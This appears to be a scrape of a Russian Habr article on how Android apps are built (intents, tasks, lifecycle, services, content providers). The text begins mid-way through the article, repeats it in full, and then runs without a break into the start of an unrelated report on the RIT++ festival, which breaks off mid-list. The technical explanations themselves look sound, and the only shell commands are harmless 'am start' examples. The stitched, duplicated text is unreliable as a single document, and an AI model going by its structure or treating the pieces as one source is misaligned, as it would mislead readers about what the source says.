Если в системе есть несколько activity, которые готовы обработать intent, пользователю будет предоставлен выбор. Обычно это случается, когда установлено несколько аналогичных приложений, например несколько браузеров или фоторедакторов. Кроме того, приложение может явно попросить систему показать диалог выбора (на самом деле при этом переданный intent оборачивается в новый intent с ACTION_CHOOSER) — это обычно используется для создания красивого диалога Share:

Кроме того, activity может вернуть результат в вызвавшую её activity. Например, activity в приложении-камере, которая умеет обрабатывать intent «сделать фотографию» (ACTION_IMAGE_CAPTURE) возвращает сделанную фотографию в ту activity, которая создала этот intent.

При этом приложению, содержащему исходную activity, не нужно разрешение на доступ к камере.

Таким образом, правильный способ приложению под Android сделать фотографию — это не потребовать разрешения на доступ к камере и использовать Camera API, а создать нужный intent и позволить системному приложению-камере сделать фото. Аналогично, вместо использования разрешения READ_EXTERNAL_STORAGE и прямого доступа к файлам пользователя стоит дать пользователю возможность выбрать файл в системном файловом менеджере (тогда исходному приложению будет разрешён доступ именно к этому файлу).

A unique aspect of the Android system design is that any app can start another app’s component. For example, if you want the user to capture a photo with the device camera, there’s probably another app that does that and your app can use it instead of developing an activity to capture a photo yourself. You don’t need to incorporate or even link to the code from the camera app. Instead, you can simply start the activity in the camera app that captures a photo. When complete, the photo is even returned to your app so you can use it. To the user, it seems as if the camera is actually a part of your app.

При этом «системное» приложение — не обязательно то, которое было предустановлено производителем (или автором сборки Android). Все установленные приложения, которые умеют обрабатывать данный intent, в этом смысле равны между собой. Пользователь может выбрать любое из них в качестве приложения по умолчанию для таких intent’ов, а может выбирать нужное каждый раз. Выбранное приложение становится «системным» в том смысле, что пользователь выбрал, чтобы именно оно выполняло все задачи (то есть intent’ы) такого типа, возникающие в системе.

Само разрешение на доступ к камере нужно только тем приложениям, которые реализуют свой интерфейс камеры — например, собственно приложения-камеры, приложения для видеозвонков или дополненной реальности. Наоборот, обыкновенному мессенджеру доступ к камере «чтобы можно было фото отправлять» не нужен, как не нужен и доступ к совершению звонков приложению крупного банка.

Многие операционные системы делятся на собственно операционную систему и приложения, установленные поверх, ничего друг о друге не знающие и не умеющие взаимодействовать. Система компонентов и intent’ов Android позволяет приложениям, по-прежнему абсолютно ничего друг о друге не зная, составлять для пользователя один интегрированный системный user experience — установленные приложения реализуют части одной большой системы, они составляют из себя систему. И это, с одной стороны, происходит прозрачно для пользователя, с другой — представляет неограниченные возможности для кастомизации.

По-моему, это очень красиво.

Tasks & back stack

Как я уже говорил, в браузере пользователь может переключаться не между сайтами, а между вкладками, история каждой из которых может содержать много страниц разных сайтов. Аналогично, в Android пользователь может переключаться между задачами (tasks), которые отображаются в виде карточек на recents screen. Каждая задача представляет собой back stack — несколько activity, «наложенных» друг на друга.

Когда одна activity запускает другую, новая activity помещается в стек поверх старой. Когда верхняя activity в стеке завершается — например, когда пользователь нажимает системную кнопку «назад» — предыдущая activity в стеке снова отображается на экране.

Каждый стек может включать в себя activity из разных приложений, и несколько копий одной activity могут быть одновременно открыты в рамках разных задач или даже внутри одного стека.

При запуске новой activity могут быть указаны специальные флаги, такие как singleTop, singleTask, singleInstance и CLEAR_TOP, которые модифицируют этот механизм. Например, приложения-браузеры обычно разрешают запуск только одной копии своей основной activity, и для переключения между открытыми страницами реализуют собственную систему вкладок. С другой стороны, Custom Tabs — пример activity в браузере (чаще всего Chrome), которая ведёт себя почти «как обычно», то есть показывает только одну страницу, но позволяет одновременно открывать несколько своих копий.

App lifecycle

Одно из основных ограничений встраиваемых и мобильных устройств — небольшое количество оперативной памяти (RAM). Если современные флагманские устройства уже оснащаются несколькими гигабайтами оперативной памяти, то в первом смартфоне на Android, HTC Dream (он же T-Mobile G1), вышедшем в сентябре 2008 года, её было всего 192 мегабайта.

Проблема ограниченной памяти дополнительно осложняется тем, что в мобильных устройствах, в отличие от «обычных» компьютеров, не используются swap-разделы (и swap-файлы) — в том числе и из-за низкой (по сравнению с SSD и HDD) скорости доступа к SD-картам и встроенной флеш-памяти, где они могли бы размещаться. Начиная с версии 4.4 KitKat, Android использует zRAM swap, то есть эффективно сжимает малоиспользуемые участки памяти. Тем не менее, проблема ограниченной памяти остаётся.

Если все процессы представляют собой для системы чёрный ящик, лучшая из возможных стратегия поведения в случае нехватки свободной памяти — принудительно завершать («убивать») какие-то процессы, что и делает Linux Out Of Memory (OOM) Killer. Но Android знает, что происходит в системе, ему известно, какие приложения и какие их компоненты запущены, что позволяет реализовать гораздо более «умную» схему освобождения памяти.

Во-первых, когда свободная память заканчивается, Android явно просит приложения освободить ненужную память (например, сбросить кэш), вызывая методы onTrimMemory/onLowMemory. Во-вторых, Android может эффективно проводить сборку мусора в фоновых приложениях, освобождая память, которую они больше не используют (на уровне Java), при этом не замедляя работу текущего приложения.

Но основной механизм освобождения памяти в Android — это завершение наименее используемых компонентов приложений (в основном activity). Подчеркну, что Android может завершать приложения не полностью, а покомпонентно, оставляя более используемые части запущенными — например, из двух копий одной activity одна может быть завершена, а другая остаться запущенной.

Система автоматически выбирает компоненты, наименее важные для пользователя (например, activity, из которых пользователь давно ушёл), даёт им шанс дополнительно освободить ресурсы, вызывая такие методы, как onDestroy, и завершает их, полностью освобождая используемую ими память и ресурсы (в том числе view hierarchy в случае activity). После этого, если в процессе приложения не осталось запущенных компонент, процесс может быть завершён.

Если пользователь возвращается в activity, завершённую системой из-за нехватки памяти, эта activity запускается снова. При этом перезапуск происходит прозрачно для пользователя, поскольку activity сохраняет своё состояние при завершении (onSaveInstanceState) и восстанавливает его при последующем запуске. Реализованные в Android Framework виджеты используют этот механизм, чтобы автоматически сохранить состояние интерфейса (UI) при перезапуске — с точностью до введённого в EditText текста, положения курсора, позиции прокрутки (scroll) и т.д. Разработчик приложения может дополнительно реализовать сохранение и восстановление каких-то ещё данных, специфичных для этого приложения.

С точки зрения пользователя этот механизм похож на использование swap: в обоих случаях при возвращении в выгруженную часть приложения приходится немного подождать, пока она загружается снова — в одном случае, с диска, в другом — пересоздаётся по сохранённому состоянию.

Именно этот механизм автоматического перезапуска и восстановления состояния создаёт у пользователя ощущение, что приложения «запущены всегда», избавляя его от необходимости явно запускать и закрывать приложения и сохранять введённые в них данные.

Services

Приложениям может потребоваться выполнять действия, не связанные напрямую ни с какой activity, в том числе, продолжать делать их в фоне, когда все activity этого приложения завершены. Например, приложение может скачивать из сети большой файл, обрабатывать фотографии, воспроизводить музыку, синхронизировать данные или просто поддерживать TCP-соединение с сервером для получения уведомлений.

Такую функциональность нельзя реализовывать, просто запуская отдельный поток — это было бы для системы чёрным ящиком; в том числе, процесс был бы завершён при завершении всех activity, независимо от состояния таких фоновых операций. Вместо этого Android предлагает использовать ещё один вид компонентов — сервис.

Сервис нужен, чтобы сообщить системе, что в процессе приложения выполняются действия, которые не являются частью activity этого приложения. Сам по себе сервис не означает создание отдельного потока или процесса — его точки входа (entry points) запускаются в основном потоке приложения. Обычно реализация сервиса запускает дополнительные потоки и управляет ими самостоятельно.

Сервисы во многом похожи на activity: они тоже запускаются с помощью intent’ов и могут быть завершены системой при нехватке памяти.

Запущенные сервисы могут быть в трёх состояниях:

• Foreground service — сервис, выполняющий действие, состояние которого важно для пользователя, например, загрузка файла или воспроизведение музыки. Такой сервис обязан отображать уведомление в системной шторке уведомлений (примеры: состояние загрузки, название текущей песни и управление воспроизведением). Система считает такой сервис примерно настолько же важным для пользователя, как и текущая activity, и завершит его только в крайнем случае.

• Background service — сервис, выполняющий фоновое действие, состояние которого не интересует пользователя (чаще всего, синхронизацию). Такие сервисы могут быть завершены при нехватке памяти с гораздо большей вероятностью. В старых версиях Android большое количество одновременно запущенных фоновых сервисов часто становилось причиной «тормозов»; начиная с версии 8.0 Oreo, Android серьёзно ограничивает использование фоновых сервисов, принудительно завершая их через несколько минут после того, как пользователь выходит из приложения.

  
  
• Bound service — сервис, обрабатывающий входящее Binder-подключение. Такие сервисы предоставляют какую-то функциональность для других приложений или системы (например, WallpaperService и Google Play Services). В этом случае система может автоматически запускать сервис при подключении к нему клиентов и останавливать его при их отключении.

Рекомендуемый способ выполнять фоновые действия — использование JobScheduler, системного механизма планирования фоновой работы. JobScheduler позволяет приложению указать критерии запуска сервиса, такие как:

• Доступность сети. Здесь приложение может указать, требуется ли этому сервису наличие сетевого подключения, и если да, то возможна ли работа в роуминге или при использовании лимитного (metered) подключения.
• Подключение к источнику питания, что позволяет сервисам выполняться, не «сажая батарею».
• Бездействие (idle), что позволяет сервисам выполняться, пока устройство не используется, не замедляя работу во время активного использования.
• Обновления контента — например, появление новой фотографии.
• Период и крайний срок запуска — например, очистка кэша может производиться ежедневно, а синхронизация событий в календаре — каждый час.

JobScheduler планирует выполнение (реализованное как вызов через Binder) зарегистрированных в нём сервисов в соответствии с указанными критериями. Поскольку JobScheduler — общесистемный механизм, он учитывает при планировке критерии зарегистрированных сервисов всех установленных приложений. Например, он может запускать сервисы по очереди, а не одновременно, чтобы предотвратить резкую нагрузку на устройство во время использования, и планировать периодическое выполнение нескольких сервисов небольшими группами (batch), чтобы предотвратить постоянное энергозатратное включение-выключение радиооборудования.

Broadcast receivers & content providers

Кроме activity и сервисов, у приложений под Android есть два других вида компонентов, менее интересных для обсуждения — это broadcast receiver’ы и content provider’ы.

Broadcast receiver — компонент, позволяющий приложению принимать broadcast’ы, специальный вид сообщений от системы или других приложений. Исходно broadcast’ы, как следует из названия, в основном использовались для рассылки широковещательных сообщений всем подписавшимся приложениям — например, система посылает сообщение AIRPLANE_MODE_CHANGED при включении или отключении самолётного режима.

Сейчас вместо подписки на такие broadcast’ы, как NEW_PICTURE и NEW_VIDEO, приложения должны использовать JobScheduler. Broadcast’ы используются либо для более редких событий (таких как BOOT_COMPLETED), либо с явными intent’ами, то есть именно в качестве сообщения от одного приложения к другому.

Content provider — компонент, позволяющий приложению предоставлять другим приложениям доступ к данным, которыми оно управляет. Пример данных, доступ к которым можно получить таким образом — список контактов пользователя.

При этом приложение может хранить сами данные каким угодно образом, в том числе на устройстве в виде файлов, в настоящей базе данных (SQLite) или запрашивать их с сервера по сети. В этом смысле content provider — это унифицированный интерфейс для доступа к данным, независимо от формы их хранения.

Взаимодействие с content provider’ом во многом похоже на доступ к удалённой базе данных через REST API. Приложение-клиент запрашивает данные по URI (например, content://com.example.Dictionary.provider/words/42) через ContentResolver. Приложение-сервер определяет, к какому именно набору данных был сделан запрос, используя UriMatcher, и выполняет запрошенное действие (query, insert, update, delete).

Именно поверх content provider’ов реализован Storage Access Framework, позволяющий приложениям, хранящим файлы в облаке (например, Dropbox и Google Photos) предоставлять доступ к ним остальным приложениям, не занимая место на устройстве полной копией всех хранящихся в облаке файлов.

---

В следующей статье я расскажу о процессе загрузки Android, о содержимом файловой системы, о том, как хранятся данные пользователя и приложений, и о root-доступе.

Original source: habrahabr.ru (comments, light).

В этой статье я расскажу о компонентах, из которых состоят приложения под Android, и об идеях, которые стоят за этой архитектурой.

Статьи серии:

• Как работает Android, часть 1
• Как работает Android, часть 2
• Как работает Android, часть 3
• ...

Web vs desktop

Если задуматься об отличиях современных веб-приложений от «обычных» десктопных приложений, можно — среди недостатков — выделить несколько преимуществ веба:

• Веб-приложения переносимы между архитектурами и платформами, как и Java.
• Веб-приложения не требуют установки и всегда обновлены, как и Android Instant Apps.

Кроме того, веб-приложения существуют в виде страниц, которые могут ссылаться друг на друга — как в рамках одного сайта, так и между сайтами. При этом страница на одном сайте не обязана ограничиваться ссылкой только на главную страницу другого, она может ссылаться на конкретную страницу внутри другого сайта (это называется deep linking). Ссылаясь друг на друга, отдельные сайты объединяются в общую сеть, веб.

Несколько копий одной страницы — например, несколько профилей в социальной сети — могут быть одновременно открыты в нескольких вкладках браузера. Интерфейс браузера рассчитан на переключение между одновременными сессиями (вкладками), а не между отдельными сайтами — в рамках одной вкладки вы можете перемещаться по ссылкам (и вперёд-назад по истории) между разными страницами разных сайтов.

Всё это противопоставляется «десктопу», где каждое приложение работает отдельно и часто независимо от других — и в этом плане то, как устроены приложения в Android, гораздо ближе к вебу, чем к «традиционным» приложениям.

Activities & intents

Основной вид компонентов приложений под Android — это activity. Activity — это один «экран» приложения. Activity можно сравнить со страницей в вебе и с окном приложения в традиционном оконном интерфейсе.

Например, в приложении для электронной почты (email client) могут быть такие activity, как Inbox Activity (список входящих писем), Email Activity (чтение одного письма), Compose Activity (написание письма) и Settings Activity (настройки).

Как и страницы одного сайта, activity одного приложения могут запускаться как друг из друга, так и независимо друг от друга (другими приложениями). Если в вебе на другую страницу обращаются по URL (ссылке), то в Android activity запускаются через intent’ы.

Intent — это сообщение, которое указывает системе, что нужно «сделать» (например, открыть данный URL, написать письмо на данный адрес, позвонить на данный номер телефона или сделать фотографию).

Приложение может создать такой intent и передать его системе, а система решает, какая activity (или другой компонент) будет его выполнять (handle). Эта activity запускается системой (в существующем процессе приложения или в новом, если он ещё не запущен), ей передаётся этот intent, и она его выполняет.

Стандартный способ создавать intent’ы — через соответствующий класс в Android Framework. Для работы с activity и intent’ами из командной строки в Android есть команда am — обёртка над стандартным классом Activity Manager:

# передаём -a ACTION -d DATA
# открыть сайт
$ am start -a android.intent.action.VIEW -d http://example.com
# позвонить по телефону
$ am start -a android.intent.action.CALL -d tel:+7-916-271-05-83

Intent’ы могут быть явными (explicit) и неявными (implicit). Явный intent указывает идентификатор конкретного компонента, который нужно запустить — чаще всего это используется, чтобы запустить из одной activity другую внутри одного приложения (при этом intent может даже не содержать другой полезной информации).

Неявный intent обязательно должен указывать действие, которое нужно сделать. Каждая activity (и другие компоненты) указывают в манифесте приложения, какие intent’ы они готовы обрабатывать (например, ACTION_VIEW для ссылок с доменом https://example.com). Система выбирает подходящий компонент среди установленных и запускает его.

Если в системе есть несколько activity, которые готовы обработать intent, пользователю будет предоставлен выбор. Обычно это случается, когда установлено несколько аналогичных приложений, например несколько браузеров или фоторедакторов. Кроме того, приложение может явно попросить систему показать диалог выбора (на самом деле при этом переданный intent оборачивается в новый intent с ACTION_CHOOSER) — это обычно используется для создания красивого диалога Share:

Кроме того, activity может вернуть результат в вызвавшую её activity. Например, activity в приложении-камере, которая умеет обрабатывать intent «сделать фотографию» (ACTION_IMAGE_CAPTURE) возвращает сделанную фотографию в ту activity, которая создала этот intent.

При этом приложению, содержащему исходную activity, не нужно разрешение на доступ к камере.

Таким образом, правильный способ приложению под Android сделать фотографию — это не потребовать разрешения на доступ к камере и использовать Camera API, а создать нужный intent и позволить системному приложению-камере сделать фото. Аналогично, вместо использования разрешения READ_EXTERNAL_STORAGE и прямого доступа к файлам пользователя стоит дать пользователю возможность выбрать файл в системном файловом менеджере (тогда исходному приложению будет разрешён доступ именно к этому файлу).

A unique aspect of the Android system design is that any app can start another app’s component. For example, if you want the user to capture a photo with the device camera, there’s probably another app that does that and your app can use it instead of developing an activity to capture a photo yourself. You don’t need to incorporate or even link to the code from the camera app. Instead, you can simply start the activity in the camera app that captures a photo. When complete, the photo is even returned to your app so you can use it. To the user, it seems as if the camera is actually a part of your app.

При этом «системное» приложение — не обязательно то, которое было предустановлено производителем (или автором сборки Android). Все установленные приложения, которые умеют обрабатывать данный intent, в этом смысле равны между собой. Пользователь может выбрать любое из них в качестве приложения по умолчанию для таких intent’ов, а может выбирать нужное каждый раз. Выбранное приложение становится «системным» в том смысле, что пользователь выбрал, чтобы именно оно выполняло все задачи (то есть intent’ы) такого типа, возникающие в системе.

Само разрешение на доступ к камере нужно только тем приложениям, которые реализуют свой интерфейс камеры — например, собственно приложения-камеры, приложения для видеозвонков или дополненной реальности. Наоборот, обыкновенному мессенджеру доступ к камере «чтобы можно было фото отправлять» не нужен, как не нужен и доступ к совершению звонков приложению крупного банка.

Многие операционные системы делятся на собственно операционную систему и приложения, установленные поверх, ничего друг о друге не знающие и не умеющие взаимодействовать. Система компонентов и intent’ов Android позволяет приложениям, по-прежнему абсолютно ничего друг о друге не зная, составлять для пользователя один интегрированный системный user experience — установленные приложения реализуют части одной большой системы, они составляют из себя систему. И это, с одной стороны, происходит прозрачно для пользователя, с другой — представляет неограниченные возможности для кастомизации.

По-моему, это очень красиво.

Tasks & back stack

Как я уже говорил, в браузере пользователь может переключаться не между сайтами, а между вкладками, история каждой из которых может содержать много страниц разных сайтов. Аналогично, в Android пользователь может переключаться между задачами (tasks), которые отображаются в виде карточек на recents screen. Каждая задача представляет собой back stack — несколько activity, «наложенных» друг на друга.

Когда одна activity запускает другую, новая activity помещается в стек поверх старой. Когда верхняя activity в стеке завершается — например, когда пользователь нажимает системную кнопку «назад» — предыдущая activity в стеке снова отображается на экране.

Каждый стек может включать в себя activity из разных приложений, и несколько копий одной activity могут быть одновременно открыты в рамках разных задач или даже внутри одного стека.

При запуске новой activity могут быть указаны специальные флаги, такие как singleTop, singleTask, singleInstance и CLEAR_TOP, которые модифицируют этот механизм. Например, приложения-браузеры обычно разрешают запуск только одной копии своей основной activity, и для переключения между открытыми страницами реализуют собственную систему вкладок. С другой стороны, Custom Tabs — пример activity в браузере (чаще всего Chrome), которая ведёт себя почти «как обычно», то есть показывает только одну страницу, но позволяет одновременно открывать несколько своих копий.

App lifecycle

Одно из основных ограничений встраиваемых и мобильных устройств — небольшое количество оперативной памяти (RAM). Если современные флагманские устройства уже оснащаются несколькими гигабайтами оперативной памяти, то в первом смартфоне на Android, HTC Dream (он же T-Mobile G1), вышедшем в сентябре 2008 года, её было всего 192 мегабайта.

Проблема ограниченной памяти дополнительно осложняется тем, что в мобильных устройствах, в отличие от «обычных» компьютеров, не используются swap-разделы (и swap-файлы) — в том числе и из-за низкой (по сравнению с SSD и HDD) скорости доступа к SD-картам и встроенной флеш-памяти, где они могли бы размещаться. Начиная с версии 4.4 KitKat, Android использует zRAM swap, то есть эффективно сжимает малоиспользуемые участки памяти. Тем не менее, проблема ограниченной памяти остаётся.

Если все процессы представляют собой для системы чёрный ящик, лучшая из возможных стратегия поведения в случае нехватки свободной памяти — принудительно завершать («убивать») какие-то процессы, что и делает Linux Out Of Memory (OOM) Killer. Но Android знает, что происходит в системе, ему известно, какие приложения и какие их компоненты запущены, что позволяет реализовать гораздо более «умную» схему освобождения памяти.

Во-первых, когда свободная память заканчивается, Android явно просит приложения освободить ненужную память (например, сбросить кэш), вызывая методы onTrimMemory/onLowMemory. Во-вторых, Android может эффективно проводить сборку мусора в фоновых приложениях, освобождая память, которую они больше не используют (на уровне Java), при этом не замедляя работу текущего приложения.

Но основной механизм освобождения памяти в Android — это завершение наименее используемых компонентов приложений (в основном activity). Подчеркну, что Android может завершать приложения не полностью, а покомпонентно, оставляя более используемые части запущенными — например, из двух копий одной activity одна может быть завершена, а другая остаться запущенной.

Система автоматически выбирает компоненты, наименее важные для пользователя (например, activity, из которых пользователь давно ушёл), даёт им шанс дополнительно освободить ресурсы, вызывая такие методы, как onDestroy, и завершает их, полностью освобождая используемую ими память и ресурсы (в том числе view hierarchy в случае activity). После этого, если в процессе приложения не осталось запущенных компонент, процесс может быть завершён.

Если пользователь возвращается в activity, завершённую системой из-за нехватки памяти, эта activity запускается снова. При этом перезапуск происходит прозрачно для пользователя, поскольку activity сохраняет своё состояние при завершении (onSaveInstanceState) и восстанавливает его при последующем запуске. Реализованные в Android Framework виджеты используют этот механизм, чтобы автоматически сохранить состояние интерфейса (UI) при перезапуске — с точностью до введённого в EditText текста, положения курсора, позиции прокрутки (scroll) и т.д. Разработчик приложения может дополнительно реализовать сохранение и восстановление каких-то ещё данных, специфичных для этого приложения.

С точки зрения пользователя этот механизм похож на использование swap: в обоих случаях при возвращении в выгруженную часть приложения приходится немного подождать, пока она загружается снова — в одном случае, с диска, в другом — пересоздаётся по сохранённому состоянию.

Именно этот механизм автоматического перезапуска и восстановления состояния создаёт у пользователя ощущение, что приложения «запущены всегда», избавляя его от необходимости явно запускать и закрывать приложения и сохранять введённые в них данные.

Services

Приложениям может потребоваться выполнять действия, не связанные напрямую ни с какой activity, в том числе, продолжать делать их в фоне, когда все activity этого приложения завершены. Например, приложение может скачивать из сети большой файл, обрабатывать фотографии, воспроизводить музыку, синхронизировать данные или просто поддерживать TCP-соединение с сервером для получения уведомлений.

Такую функциональность нельзя реализовывать, просто запуская отдельный поток — это было бы для системы чёрным ящиком; в том числе, процесс был бы завершён при завершении всех activity, независимо от состояния таких фоновых операций. Вместо этого Android предлагает использовать ещё один вид компонентов — сервис.

Сервис нужен, чтобы сообщить системе, что в процессе приложения выполняются действия, которые не являются частью activity этого приложения. Сам по себе сервис не означает создание отдельного потока или процесса — его точки входа (entry points) запускаются в основном потоке приложения. Обычно реализация сервиса запускает дополнительные потоки и управляет ими самостоятельно.

Сервисы во многом похожи на activity: они тоже запускаются с помощью intent’ов и могут быть завершены системой при нехватке памяти.

Запущенные сервисы могут быть в трёх состояниях:

• Foreground service — сервис, выполняющий действие, состояние которого важно для пользователя, например, загрузка файла или воспроизведение музыки. Такой сервис обязан отображать уведомление в системной шторке уведомлений (примеры: состояние загрузки, название текущей песни и управление воспроизведением). Система считает такой сервис примерно настолько же важным для пользователя, как и текущая activity, и завершит его только в крайнем случае.

• Background service — сервис, выполняющий фоновое действие, состояние которого не интересует пользователя (чаще всего, синхронизацию). Такие сервисы могут быть завершены при нехватке памяти с гораздо большей вероятностью. В старых версиях Android большое количество одновременно запущенных фоновых сервисов часто становилось причиной «тормозов»; начиная с версии 8.0 Oreo, Android серьёзно ограничивает использование фоновых сервисов, принудительно завершая их через несколько минут после того, как пользователь выходит из приложения.

  
  
• Bound service — сервис, обрабатывающий входящее Binder-подключение. Такие сервисы предоставляют какую-то функциональность для других приложений или системы (например, WallpaperService и Google Play Services). В этом случае система может автоматически запускать сервис при подключении к нему клиентов и останавливать его при их отключении.

Рекомендуемый способ выполнять фоновые действия — использование JobScheduler, системного механизма планирования фоновой работы. JobScheduler позволяет приложению указать критерии запуска сервиса, такие как:

• Доступность сети. Здесь приложение может указать, требуется ли этому сервису наличие сетевого подключения, и если да, то возможна ли работа в роуминге или при использовании лимитного (metered) подключения.
• Подключение к источнику питания, что позволяет сервисам выполняться, не «сажая батарею».
• Бездействие (idle), что позволяет сервисам выполняться, пока устройство не используется, не замедляя работу во время активного использования.
• Обновления контента — например, появление новой фотографии.
• Период и крайний срок запуска — например, очистка кэша может производиться ежедневно, а синхронизация событий в календаре — каждый час.

JobScheduler планирует выполнение (реализованное как вызов через Binder) зарегистрированных в нём сервисов в соответствии с указанными критериями. Поскольку JobScheduler — общесистемный механизм, он учитывает при планировке критерии зарегистрированных сервисов всех установленных приложений. Например, он может запускать сервисы по очереди, а не одновременно, чтобы предотвратить резкую нагрузку на устройство во время использования, и планировать периодическое выполнение нескольких сервисов небольшими группами (batch), чтобы предотвратить постоянное энергозатратное включение-выключение радиооборудования.

Broadcast receivers & content providers

Кроме activity и сервисов, у приложений под Android есть два других вида компонентов, менее интересных для обсуждения — это broadcast receiver’ы и content provider’ы.

Broadcast receiver — компонент, позволяющий приложению принимать broadcast’ы, специальный вид сообщений от системы или других приложений. Исходно broadcast’ы, как следует из названия, в основном использовались для рассылки широковещательных сообщений всем подписавшимся приложениям — например, система посылает сообщение AIRPLANE_MODE_CHANGED при включении или отключении самолётного режима.

Сейчас вместо подписки на такие broadcast’ы, как NEW_PICTURE и NEW_VIDEO, приложения должны использовать JobScheduler. Broadcast’ы используются либо для более редких событий (таких как BOOT_COMPLETED), либо с явными intent’ами, то есть именно в качестве сообщения от одного приложения к другому.

Content provider — компонент, позволяющий приложению предоставлять другим приложениям доступ к данным, которыми оно управляет. Пример данных, доступ к которым можно получить таким образом — список контактов пользователя.

При этом приложение может хранить сами данные каким угодно образом, в том числе на устройстве в виде файлов, в настоящей базе данных (SQLite) или запрашивать их с сервера по сети. В этом смысле content provider — это унифицированный интерфейс для доступа к данным, независимо от формы их хранения.

Взаимодействие с content provider’ом во многом похоже на доступ к удалённой базе данных через REST API. Приложение-клиент запрашивает данные по URI (например, content://com.example.Dictionary.provider/words/42) через ContentResolver. Приложение-сервер определяет, к какому именно набору данных был сделан запрос, используя UriMatcher, и выполняет запрошенное действие (query, insert, update, delete).

Именно поверх content provider’ов реализован Storage Access Framework, позволяющий приложениям, хранящим файлы в облаке (например, Dropbox и Google Photos) предоставлять доступ к ним остальным приложениям, не занимая место на устройстве полной копией всех хранящихся в облаке файлов.

---

В следующей статье я расскажу о процессе загрузки Android, о содержимом файловой системы, о том, как хранятся данные пользователя и приложений, и о root-доступе.

Original source: habrahabr.ru (comments, light).

Эмоции были настолько сильны, что написать статью об интернет-фестивале мы решились только к концу лета, ждали, когда уляжется жара. Хотя на самом деле, ждали фото и видео из нашей мобильной студии. Итак, что же произошло 5-6 июня в Сколково?


Жизнь – скучная штука, и надо использовать любую возможность, чтобы заставить людей улыбаться (Э. Кустурица)

ИТ-шный Вавилон

Теоретически мы предполагали, что летний РИТ++ будет отличаться от осеннего HighLoad++, но совершенно ошиблись с вектором своих догадок. Казалось, что фестиваль Интернет-технологий будет более лайтовым, с меньшим количеством хардкорных докладов и с большим количеством участников, мало связанных с ИТ. Всё оказалось с точностью до наоборот — РИТ++ оказался фестивалем очень серьёзных, хардкорных технологий. Но от HighLoad его отличали люди — они были гораздо более включёнными, контактными и готовыми к диалогу. Хайлоад более интровертен, и это действительно заметно. Было 1800 участников, 14 параллельных потоков, 23 митапа, 16 стендов компаний.

Организаторы постарались формировать коммуникации внутри фестиваля: так, были организованы каналы в Slack и Telegram. В них активно шли обсуждения, происходила переписка, каждый участник мог спросить, попросить, оставить важное объявление, уточнить какие-то детали. Более того, каналы живы и активны до сих пор — в них задают вопросы, общаются, устраивают мини-бунты и флешмобы. В целом, это коммуникации, от которых не хочется отключаться даже спустя три месяца.

Немного отличались и стенды компаний — лето и публика внесли свои коррективы. Так, можно было насладиться крутыми граффити на стенде Avito, пообниматься с йети компании Vscale, угоститься мороженым с шоколадной крошкой и выпить прохладный лимонад.


Сложный, яркий стенд Avito — граффити и адрес компании на Хабре


Шаман нашаманил подарков и призов


Йети пользовался огромной популярностью. Как видите, кто-то даже умудрился напоить приветливое существо

Хабр тоже не остался в стороне — оба дня у нас проходил сложный экзамен, на котором мы давали решать задачи, собранные заранее у разных компаний. Некоторые добровольцы стояли у стенда по несколько часов и исчёркивали ручками лист за листом — вокруг нас царил азарт. И всё неспроста — кроме крутых наклеек и наклеек марафона, мы раздавали инвайты. Строго один в руки! А в конце второго дня у нас на стенде было пиво. Но о нём мы ещё расскажем, это отдельная эпопея.



Участники решают хабразадачи от компаний

Напротив нас был один из самых притягательных во всех смыслах этого слова стенд издательства Альпина Паблишер с сотнями книг по разработке, дизайну, презентациям и даже умных и полезных книг для детей. Мы нет-нет, да и подходили полистать очередное издание. Они все были прекрасны.

И вот среди этого Вавилона внезапно грянул разухабистый оркестр с прекрасными бодрящими мелодиями — так мог сделать только Кустурица. Верите-нет, но именно это событие задало задорный тон и энергичный темп всему мероприятию. Это было стопроцентное попадание.


Настроение на РИТ++ было замечательным: за окном тёплый дождик-туман, в Сколково — весело, умно, креативно

Но и на этом режиссёрская часть не закончилась — оба дня по Сколково ходил потрясающий шаман, лихо пританцовывая с симпатичными участницами под тогда ещё нетленку «Грибов» «Между нами тает лёд». Ещё бы этот шаман стабильное Интернет-соединение нашаманил, цены бы ему не было. Увы, перебои со скоростью интернета — технологическое проклятье инновационного центра Сколково. Это было, пожалуй, единственное, что иногда портило настроение.


Шаман никого не оставил равнодушным. Лиса тоже доставила

Кстати, оказался большим любителем российской попсы. А пока вы можете изучить устройство бубна


Даже шаман не смог пройти мимо наклеек с НЛО — так он усилил свои способности

Территория Интернета

Однако внешний блеск ничего не значит, если нет содержания. Содержание РИТ++ было настолько насыщенным, что наши два текстовых транслятора непрерывно ругались и разрывались между теми секциями, на которые хотели попасть. Любая аудитория могла найти доклады на свой вкус или поучаствовать в многочисленных событиях внутри РИТ++.

Секции с докладами

Весь РИТ++ был разделён на несколько тематических конференций. Причём выступления всех докладчиков секций были глубоко-тематическими. Что всегда радует на фестивалях Олега Бунина, так это время доклада — за один час можно успеть и отлично развернуть тему, и ответить на вопросы. Отсутствие технических накладок с презентациями и микрофонами превращает каждую секцию в непрерывный поток отборной и нужной информации.

• Whaile Rider — конференция по управлению и предпринимательству. Доклады этого потока отражали все направления управления компанией, от стратегических вопросов до детального разбора подготовки инфографики (совершенно потрясающий доклад) и поиска секретов эффективности работы техподдержки.
  

На некоторых докладах не хватало мест

• Aletheia Business — конференция по применению психологии в управлении и бизнесе. Если коротко — учились лучше разбираться в себе и в людях, говорили о карьере, лояльности и о том, почему русские люди не улыбаются. Вообще, в ходе РИТ++ было много обсуждений именно HR-аспектов IT-сферы и вопросов психологии. Хедлайнерами этого обсуждения стали Петр Людвиг со своим докладом «Конец прокрастинации» и Максим Дорофеев с идеей экономии мыслетоплива и потрясающими слайдами. Эти ребята в прямом смысле слова собрали зал, точнее, самый большой зал — конгресс-холл.
  

Пётр Людвиг пытался победить непобедимое. Или нет?

• Web-scale IT Conference — конференция на стыке enterprise и web-культур. Эта, на первый взгляд, расплывчатая по тематикам конференция, собрала в себе нестандартные обсуждения: государство + бизнес, микросервисы, омниканальность и т.д. Из того, что мы слышали в этом потоке, особенно нам понравился доклад Александра Тараторина из Райффайзенбанка о реальном DevOps в Enterprise — больше всего удивила структурированность и прозрачность того, как это сделано в банке. Казалось бы, косная функциональная оргструктура, а насколько современно всё решено.
  
• Frontend Conf — конференция фронтенд-разработчиков. Фронтенд есть фронтенд — говорили буквально обо всём.
  
• App’s Conf — конференция по разработке мобильных приложений занимала аж два зала. Вопросы интерфейсов, логики работы приложений, тестирования и дизайна обсуждали представители компаний, знающих толк в мобильной разработке как никто: Avito, Lamoda, 2ГИС, Mail.ru Group, Одноклассники, Яндекс, Сбербанк-Технологии и т.д.
  

